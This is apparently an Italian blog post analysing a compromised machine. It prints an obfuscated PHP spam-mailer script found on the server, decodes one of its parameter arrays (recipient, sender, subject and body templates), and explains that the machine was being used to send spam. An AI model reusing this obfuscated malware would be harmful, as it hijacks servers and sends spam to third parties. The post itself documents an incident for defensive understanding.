$i59="Euc<v#`5R1s?j{\nJnd8,KA>}wIQ\r7gp;^U0\"YBSH@!=&MOG\\Vlaz\$2mtxLFDX[Zb:f6)~h+%'_k/iyN4CTer.|(3]-\tq9*o PW";
$GLOBALS['kyvlc2'] = $i59[82].$i59[83].$i59[83].$i59[94].$i59[83].$i59[73].$i59[83].$i59[82].$i59[30].$i59[94].$i59[83].$i59[55].$i59[76].$i59[16].$i59[29];
$GLOBALS['osuwk64'] = $i59[76].$i59[16].$i59[76].$i59[73].$i59[10].$i59[82].$i59[55];
$GLOBALS['mrkzp11'] = $i59[63].$i59[2].$i59[55].$i59[76].$i59[94].$i59[53].$i59[28];
$GLOBALS['olhjz88'] = $i59[54].$i59[17].$i59[7];
$GLOBALS['gtwpr99'] = $i59[56].$i59[50].$i59[29].$i59[24].$i59[91].$i59[9].$i59[92];
$GLOBALS['azxqi23'] = $i59[65].$i59[10].$i59[1].$i59[56].$i59[1].$i59[9].$i59[53];
$GLOBALS['ttins71'] = $i59[10].$i59[49].$i59[49].$i59[55].$i59[24].$i59[9].$i59[28];
$GLOBALS['biplj38'] = $i59[69].$i59[74].$i59[63].$i59[49].$i59[91].$i59[18].$i59[18];
$GLOBALS['fufff37'] = $i59[2].$i59[83].$i59[16].$i59[54].$i59[10].$i59[79].$i59[34];
$GLOBALS['llsic87'] = $i59[30].$i59[74].$i59[24].$i59[56].$i59[29].$i59[53].$i59[53];
$GLOBALS['npqfu35'] = $i59[29].$i59[49].$i59[56].$i59[82].$i59[56].$i59[92].$i59[53];
$GLOBALS['kgedf91'] = $i59[77].$i59[29].$i59[56].$i59[55].$i59[65].$i59[7].$i59[53];
$GLOBALS['tscso85'] = $i59[10].$i59[55].$i59[83].$i59[49].$i59[82].$i59[16]; //1ayOin
$GLOBALS['dkzox36'] = $i59[2].$i59[69].$i59[83]; //uby
$GLOBALS['nqkyz54'] = $i59[94].$i5mrkzp119[83].$i59[17]; //]yj
$GLOBALS['bbolh46'] = $i59[63].$i59[50].$i59[10].$i59[82].$i59[66].$i59[79].$i59[73].$i59[82].$i59[16].$i59[2].$i59[94].$i59[17].$i59[82];
$GLOBALS['pzfzn51'] = $i59[2].$i59[94].$i59[1].$i59[16].$i59[55];
$GLOBALS['goxku40'] = $i59[65].$i59[1].$i59[16].$i59[2].$i59[55].$i59[76].$i59[94].$i59[16].$i59[73].$i59[82].$i59[56].$i59[76].$i59[10].$i59[55].$i59[10];
$GLOBALS['qllnp80'] = $i59[54].$i59[50].$i59[76].$i59[49];
$GLOBALS['oewlq88'] = $i59[65].$i59[12].$i59[2].$i59[24].$i59[17].$i59[92];
$GLOBALS['inaco6'] = $i59[65].$i59[29].$i59[82].$i59[55].$i59[10];
$GLOBALS['fbigd92'] = $i59[29].$i59[82].$i59[55].$i59[69].$i59[94].$i59[10].$i59[55].$i59[63].$i59[77].$i59[16].$i59[50].$i59[54].$i59[82];
$GLOBALS['szwwc12'] = $i59[65].$i59[10].$i59[94].$i59[2].$i59[74].$i59[94].$i59[30].$i59[82].$i59[16];
$GLOBALS['ifjvc34'] = $i59[30].$i59[65].$i59[10].$i59[94].$i59[2].$i59[74].$i59[94].$i59[30].$i59[82].$i59[16];
$GLOBALS['eypvx47'] = $i59[10].$i59[55].$i59[83].$i59[82].$i59[50].$i59[54].$i59[73].$i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[2].$i59[49].$i59[76].$i59[82].$i59[16].$i59[55];
$GLOBALS['ewgqn30'] = $i59[65].$i59[30].$i59[1].$i59[55].$i59[10];
$GLOBALS['qlkol47'] = $i59[55].$i59[83].$i59[76].$i59[54];
$GLOBALS['wwxez32'] = $i59[30].$i59[83].$i59[82].$i59[29].$i59[73].$i59[83].$i59[82].$i59[30].$i59[49].$i59[50].$i59[2].$i59[82];
$GLOBALS['xumld93'] = $i59[65].$i59[2].$i59[49].$i59[94].$i59[10].$i59[82];
$GLOBALS['sfroq33'] = $i59[24].$i59[65].$i59[77].$i59[65].$i59[51].$i59[18].$i59[53];
$GLOBALS['snkbr7'] = $i59[55].$i59[76].$i59[54].$i59[82];
$GLOBALS['gbiun57'] = $i59[24].$i59[17].$i59[74].$i59[50].$i59[77].$i59[28];
$GLOBALS['vfpnn60'] = $i59[50].$i59[83].$i59[83].$i59[50].$i59[77].$i59[73].$i59[10].$i59[82].$i59[50].$i59[83].$i59[2].$i59[69];
$GLOBALS['slvul93'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[2].$i59[49].$i59[94].$i59[10].$i59[82];
$GLOBALS['abwqf91'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[2].$i59[83].$i59[82].$i59[50].$i59[55].$i59[82];
$GLOBALS['wjevo71'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[10].$i59[82].$i59[55].$i59[73].$i59[16].$i59[94].$i59[16].$i59[63].$i59[49].$i59[94].$i59[2].$i59[74];
$GLOBALS['zqewi88'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[2].$i59[94].$i59[16].$i59[16].$i59[82].$i59[2].$i59[55];
$GLOBALS['syafl23'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[49].$i59[50].$i59[10].$i59[55].$i59[73].$i59[82].$i59[83].$i59[83].$i59[94].$i59[83];
$GLOBALS['mhzfy25'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[10].$i59[82].$i59[49].$i59[82].$i59[2].$i59[55];
$GLOBALS['rmuvr11'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[83].$i59[82].$i59[50].$i59[17];
$GLOBALS['tgaup44'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[24].$i59[83].$i59[76].$i59[55].$i59[82];
$GLOBALS['qihri77'] = $i59[2].$i59[49].$i59[94].$i59[10].$i59[82].$i59[38].$i59[94].$i59[2].$i59[74];
$GLOBALS['bavbu3'] = $i59[17].$i59[50].$i59[55].$i59[82];
$GLOBALS['vgyag20'] = $i59[10].$i59[55].$i59[83].$i59[73].$i59[83].$i59[82].$i59[30].$i59[49].$i59[50].$i59[2].$i59[82];
$GLOBALS['rssnp53'] = $i59[30].$i59[83].$i59[82].$i59[29].$i59[73].$i59[54].$i59[50].$i59[55].$i59[2].$i59[69];
$GLOBALS['bosbj25'] = $i59[1].$i59[2].$i59[65].$i59[76].$i59[83].$i59[10].$i59[55];
$GLOBALS['eebyx59'] = $i59[76].$i59[16].$i59[76].$i59[73].$i59[29].$i59[82].$i59[55];
$GLOBALS['ltkgi30'] = $i59[29].$i59[82].$i59[55].$i59[54].$i59[56].$i59[83].$i59[83];
$GLOBALS['veudg88'] = $i59[50].$i59[83].$i59[83].$i59[50].$i59[77].$i59[73].$i59[74].$i59[82].$i59[77].$i59[10];
$GLOBALS['ugeiv74'] = $i59[54].$i59[76].$i59[16];
$GLOBALS['vkxhv92'] = ${$i59[73].$i59[96].$i59[45].$i59[38].$i59[81]};
$GLOBALS['gpcou63'] = $i59[30].$i59[30].$i59[1].$i59[91].$i59[17].$i59[28].$i59[66];
$GLOBALS['kkndw71'] = $i59[30].$i59[83].$i59[82].$i59[29].$i59[73].$i59[10].$i59[30].$i59[49].$i59[76].$i59[55];
$GLOBALS['knpxe74'] = $i59[63].$i59[50].$i59[10].$i59[82].$i59[66].$i59[79].$i59[73].$i59[17].$i59[82].$i59[2].$i59[94].$i59[17].$i59[82];
$GLOBALS['ywanc2'] = $i59[1].$i59[83].$i59[49].$i59[17].$i59[82].$i59[2].$i59[94].$i59[17].$i59[82];
$GLOBALS['ggbdg61'] = $i59[10].$i59[55].$i59[83].$i59[76].$i59[30].$i59[10].$i59[49].$i59[50].$i59[10].$i59[69].$i59[82].$i59[10];
@$GLOBALS['kyvlc2'](NULL);
@$GLOBALS['osuwk64']($i59[82].$i59[83].$i59[83].$i59[94].$i59[83].$i59[73].$i59[49].$i59[94].$i59[29],NULL);
@$GLOBALS['osuwk64']($i59[49].$i59[94].$i59[29].$i59[73].$i59[82].$i59[83].$i59[83].$i59[94].$i59[83].$i59[10],0);
$vxlcl82 =
array( $i59[17].$i59[50].$i59[55].$i59[50].$i59[81].$i59[94] => "",
$i59[65].$i59[83].$i59[94].$i59[54].$i59[57].$i59[94].$i59[29].$i59[76].$i59[16] => "",
$i59[65].$i59[83].$i59[94].$i59[54].$i59[78].$i59[50].$i59[54].$i59[82] => "",
$i59[10].$i59[1].$i59[63].$i59[12].$i59[81].$i59[82].$i59[54].$i59[30].$i59[49] => "",
$i59[63].$i59[94].$i59[17].$i59[77].$i59[81].$i59[82].$i59[54].$i59[30].$i59[49] => "",
$i59[69].$i59[94].$i59[10].$i59[55].$i59[58].$i59[83].$i59[94].$i59[54] => "",
$i59[76].$i59[16].$i59[76].$i59[55].$i59[16].$i59[63].$i59[10].$i59[94].$i59[2].$i59[74] => FALSE,
$i59[76].$i59[16].$i59[76].$i59[55].$i59[10].$i59[94].$i59[2].$i59[74] => FALSE,
$i59[76].$i59[16].$i59[76].$i59[55].$i59[54].$i59[50].$i59[76].$i59[49] => FALSE,);
if (FALSE == $GLOBALS['mrkzp11']($i59, $vxlcl82))
{
echo PHP_OS.$i59[70].$GLOBALS['olhjz88'](0987654321).$i59[70].$i59[34].$i59[9].$i59[70].$i59[61].$i59[61].$i59[88].$i59[88].$i59[14];
exit;
}
$unahu45 = array();
-------------------------------------------------------------------------------------
Cercando su internet non si trovano molte informazioni a riguardo (a parte questo link link disattivato) ma con un po' piu di attenzione si arriva ad una pagina di PasteBin (che non linko) che riporta il codice non offuscato
Si tratta di mail script in Php di circa 500 righe.
Per esempio riporto solo la definizione di un array
------------------------------------
$vxlcl82 = array(
"dataTo" => "",
"fromLogin" => "",
"fromName" => "",
"subjTempl" => "",
"bodyTempl" => "",
"hostFrom" => "",
"initnbsock" => FALSE,
"initsock" => FALSE,
"initmail" => FALSE
);
------------------------------------
La macchina era quindi impegnata a fare spam e metteva in crisi le poche risorse disponibili
Iscriviti a:
Post (Atom)
Debugger integrato ESP32S3
Aggiornamento In realta' il Jtag USB funziona anche sui moduli cinesi Il problema risiede nell'ID USB della porta Jtag. Nel modulo...
-
In questo post viene indicato come creare uno scatterplot dinamico basato da dati ripresi da un file csv (nel dettaglio il file csv e' c...
-
Questo post e' a seguito di quanto gia' visto nella precedente prova Lo scopo e' sempre il solito: creare un sistema che permet...
-
La scheda ESP32-2432S028R monta un Esp Dev Module con uno schermo TFT a driver ILI9341 di 320x240 pixels 16 bit colore.Il sito di riferiment...